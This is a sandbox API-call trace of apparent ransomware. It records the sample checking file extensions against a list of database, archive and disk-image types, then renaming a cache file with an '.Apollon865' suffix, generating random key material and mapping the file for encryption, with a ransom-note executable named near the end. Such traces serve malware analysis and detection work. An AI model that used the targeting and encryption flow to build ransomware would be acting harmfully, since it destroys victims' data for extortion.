	[0066.016] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0066.016] lstrlenW (lpString="vmdk") returned 4
	[0066.016] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0066.016] lstrlenW (lpString="rar") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0066.016] lstrlenW (lpString="zip") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0066.016] lstrlenW (lpString="tgz") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0066.016] lstrlenW (lpString="vbox") returned 4
	[0066.016] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0066.016] lstrlenW (lpString="vdi") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0066.016] lstrlenW (lpString="vhd") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0066.016] lstrlenW (lpString="vhdx") returned 4
	[0066.016] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0066.016] lstrlenW (lpString="avhd") returned 4
	[0066.016] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0066.016] lstrlenW (lpString="db") returned 2
	[0066.016] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0066.016] lstrlenW (lpString="db2") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0066.016] lstrlenW (lpString="db3") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0066.016] lstrlenW (lpString="dbf") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0066.016] lstrlenW (lpString="mdf") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0066.016] lstrlenW (lpString="mdb") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0066.016] lstrlenW (lpString="sql") returned 3
	[0066.016] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0066.017] lstrlenW (lpString="sqlite") returned 6
	[0066.017] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0066.017] lstrlenW (lpString="sqlite3") returned 7
	[0066.017] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0066.017] lstrlenW (lpString="sqlitedb") returned 8
	[0066.017] lstrlenW (lpString="xml") returned 3
	[0066.017] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0066.017] lstrlenW (lpString="$er") returned 3
	[0066.017] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0066.017] lstrlenW (lpString="4dd") returned 3
	[0066.017] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0066.017] lstrlenW (lpString="4dl") returned 3
	[0066.017] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0066.017] lstrlenW (lpString="^^^") returned 3
	[0066.017] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0066.017] lstrlenW (lpString="abs") returned 3
	[0066.017] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0066.017] lstrlenW (lpString="abx") returned 3
	[0066.017] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0066.017] lstrlenW (lpString="accdb") returned 5
	[0066.017] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0066.017] lstrlenW (lpString="accdc") returned 5
	[0066.017] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0066.017] lstrlenW (lpString="accde") returned 5
	[0066.017] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0066.017] lstrlenW (lpString="accdr") returned 5
	[0066.017] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0066.017] lstrlenW (lpString="accdt") returned 5
	[0066.017] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0066.017] lstrlenW (lpString="accdw") returned 5
	[0066.017] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0066.017] lstrlenW (lpString="accft") returned 5
	[0066.017] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0066.017] lstrlenW (lpString="adb") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0066.018] lstrlenW (lpString="adb") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0066.018] lstrlenW (lpString="ade") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0066.018] lstrlenW (lpString="adf") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0066.018] lstrlenW (lpString="adn") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0066.018] lstrlenW (lpString="adp") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0066.018] lstrlenW (lpString="alf") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0066.018] lstrlenW (lpString="ask") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0066.018] lstrlenW (lpString="btr") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0066.018] lstrlenW (lpString="cat") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0066.018] lstrlenW (lpString="cdb") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0066.018] lstrlenW (lpString="ckp") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0066.018] lstrlenW (lpString="cma") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0066.018] lstrlenW (lpString="cpd") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0066.018] lstrlenW (lpString="dacpac") returned 6
	[0066.018] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0066.018] lstrlenW (lpString="dad") returned 3
	[0066.018] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0066.018] lstrlenW (lpString="dadiagrams") returned 10
	[0066.018] lstrlenW (lpString="daschema") returned 8
	[0066.018] lstrlenW (lpString="db-journal") returned 10
	[0066.019] lstrlenW (lpString="db-shm") returned 6
	[0066.019] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0066.019] lstrlenW (lpString="db-wal") returned 6
	[0066.019] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0066.019] lstrlenW (lpString="dbc") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0066.019] lstrlenW (lpString="dbs") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0066.019] lstrlenW (lpString="dbt") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0066.019] lstrlenW (lpString="dbv") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0066.019] lstrlenW (lpString="dbx") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0066.019] lstrlenW (lpString="dcb") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0066.019] lstrlenW (lpString="dct") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0066.019] lstrlenW (lpString="dcx") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0066.019] lstrlenW (lpString="ddl") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0066.019] lstrlenW (lpString="dlis") returned 4
	[0066.019] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0066.019] lstrlenW (lpString="dp1") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0066.019] lstrlenW (lpString="dqy") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0066.019] lstrlenW (lpString="dsk") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0066.019] lstrlenW (lpString="dsn") returned 3
	[0066.019] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0066.019] lstrlenW (lpString="dtsx") returned 4
	[0066.019] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0066.020] lstrlenW (lpString="dxl") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0066.020] lstrlenW (lpString="eco") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0066.020] lstrlenW (lpString="ecx") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0066.020] lstrlenW (lpString="edb") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0066.020] lstrlenW (lpString="epim") returned 4
	[0066.020] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0066.020] lstrlenW (lpString="fcd") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0066.020] lstrlenW (lpString="fdb") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0066.020] lstrlenW (lpString="fic") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0066.020] lstrlenW (lpString="flexolibrary") returned 12
	[0066.020] lstrlenW (lpString="fm5") returned 3
	[0066.020] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0066.020] lstrlenW (lpString="fmp") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0066.021] lstrlenW (lpString="fmp12") returned 5
	[0066.021] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0066.021] lstrlenW (lpString="fmpsl") returned 5
	[0066.021] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0066.021] lstrlenW (lpString="fol") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0066.021] lstrlenW (lpString="fp3") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0066.021] lstrlenW (lpString="fp4") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0066.021] lstrlenW (lpString="fp5") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0066.021] lstrlenW (lpString="fp7") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0066.021] lstrlenW (lpString="fpt") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0066.021] lstrlenW (lpString="frm") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0066.021] lstrlenW (lpString="gdb") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0066.021] lstrlenW (lpString="gdb") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0066.021] lstrlenW (lpString="grdb") returned 4
	[0066.021] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0066.021] lstrlenW (lpString="gwi") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0066.021] lstrlenW (lpString="hdb") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0066.021] lstrlenW (lpString="his") returned 3
	[0066.021] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0066.021] lstrlenW (lpString="ib") returned 2
	[0066.021] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0066.021] lstrlenW (lpString="idb") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0066.022] lstrlenW (lpString="ihx") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0066.022] lstrlenW (lpString="itdb") returned 4
	[0066.022] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0066.022] lstrlenW (lpString="itw") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0066.022] lstrlenW (lpString="jet") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0066.022] lstrlenW (lpString="jtx") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0066.022] lstrlenW (lpString="kdb") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0066.022] lstrlenW (lpString="kexi") returned 4
	[0066.022] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0066.022] lstrlenW (lpString="kexic") returned 5
	[0066.022] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0066.022] lstrlenW (lpString="kexis") returned 5
	[0066.022] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0066.022] lstrlenW (lpString="lgc") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0066.022] lstrlenW (lpString="lwx") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0066.022] lstrlenW (lpString="maf") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0066.022] lstrlenW (lpString="maq") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0066.022] lstrlenW (lpString="mar") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0066.022] lstrlenW (lpString="marshal") returned 7
	[0066.022] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0066.022] lstrlenW (lpString="mas") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0066.022] lstrlenW (lpString="mav") returned 3
	[0066.022] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0066.023] lstrlenW (lpString="maw") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0066.023] lstrlenW (lpString="mdbhtml") returned 7
	[0066.023] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0066.023] lstrlenW (lpString="mdn") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0066.023] lstrlenW (lpString="mdt") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0066.023] lstrlenW (lpString="mfd") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0066.023] lstrlenW (lpString="mpd") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0066.023] lstrlenW (lpString="mrg") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0066.023] lstrlenW (lpString="mud") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0066.023] lstrlenW (lpString="mwb") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0066.023] lstrlenW (lpString="myd") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0066.023] lstrlenW (lpString="ndf") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0066.023] lstrlenW (lpString="nnt") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0066.023] lstrlenW (lpString="nrmlib") returned 6
	[0066.023] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0066.023] lstrlenW (lpString="ns2") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0066.023] lstrlenW (lpString="ns3") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0066.023] lstrlenW (lpString="ns4") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0066.023] lstrlenW (lpString="nsf") returned 3
	[0066.023] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0066.024] lstrlenW (lpString="nv") returned 2
	[0066.024] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0066.024] lstrlenW (lpString="nv2") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0066.024] lstrlenW (lpString="nwdb") returned 4
	[0066.024] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0066.024] lstrlenW (lpString="nyf") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0066.024] lstrlenW (lpString="odb") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0066.024] lstrlenW (lpString="odb") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0066.024] lstrlenW (lpString="oqy") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0066.024] lstrlenW (lpString="ora") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0066.024] lstrlenW (lpString="orx") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0066.024] lstrlenW (lpString="owc") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0066.024] lstrlenW (lpString="p96") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0066.024] lstrlenW (lpString="p97") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0066.024] lstrlenW (lpString="pan") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0066.024] lstrlenW (lpString="pdb") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0066.024] lstrlenW (lpString="pdm") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0066.024] lstrlenW (lpString="pnz") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0066.024] lstrlenW (lpString="qry") returned 3
	[0066.024] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0066.025] lstrlenW (lpString="qvd") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0066.025] lstrlenW (lpString="rbf") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0066.025] lstrlenW (lpString="rctd") returned 4
	[0066.025] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0066.025] lstrlenW (lpString="rod") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0066.025] lstrlenW (lpString="rodx") returned 4
	[0066.025] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0066.025] lstrlenW (lpString="rpd") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0066.025] lstrlenW (lpString="rsd") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0066.025] lstrlenW (lpString="sas7bdat") returned 8
	[0066.025] lstrlenW (lpString="sbf") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0066.025] lstrlenW (lpString="scx") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0066.025] lstrlenW (lpString="sdb") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0066.025] lstrlenW (lpString="sdc") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0066.025] lstrlenW (lpString="sdf") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0066.025] lstrlenW (lpString="sis") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0066.025] lstrlenW (lpString="spq") returned 3
	[0066.025] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0066.025] lstrlenW (lpString="te") returned 2
	[0066.025] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0066.025] lstrlenW (lpString="teacher") returned 7
	[0066.025] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0066.025] lstrlenW (lpString="tmd") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0066.026] lstrlenW (lpString="tps") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0066.026] lstrlenW (lpString="trc") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0066.026] lstrlenW (lpString="trc") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0066.026] lstrlenW (lpString="trm") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0066.026] lstrlenW (lpString="udb") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0066.026] lstrlenW (lpString="udl") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0066.026] lstrlenW (lpString="usr") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0066.026] lstrlenW (lpString="v12") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0066.026] lstrlenW (lpString="vis") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0066.026] lstrlenW (lpString="vpd") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0066.026] lstrlenW (lpString="vvv") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0066.026] lstrlenW (lpString="wdb") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0066.026] lstrlenW (lpString="wmdb") returned 4
	[0066.026] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0066.026] lstrlenW (lpString="wrk") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0066.026] lstrlenW (lpString="xdb") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0066.026] lstrlenW (lpString="xld") returned 3
	[0066.026] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0066.027] lstrlenW (lpString="xmlff") returned 5
	[0066.027] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0066.027] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865") returned 134
	[0066.027] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0066.029] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0066.029] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1034506) returned 1
	[0066.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.030] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0066.030] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0066.030] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.031] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfcc10, lpName=0x0) returned 0x14c
	[0066.032] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfcc10) returned 0x2b40000
	[0066.496] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0066.497] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0066.497] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.497] UnmapViewOfFile (lpBaseAddress=0x2b40000) returned 1
	[0066.508] CloseHandle (hObject=0x14c) returned 1
	[0066.508] CloseHandle (hObject=0x154) returned 1
	[0066.508] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.508] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.508] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.513] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f508010, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f508010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.513] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
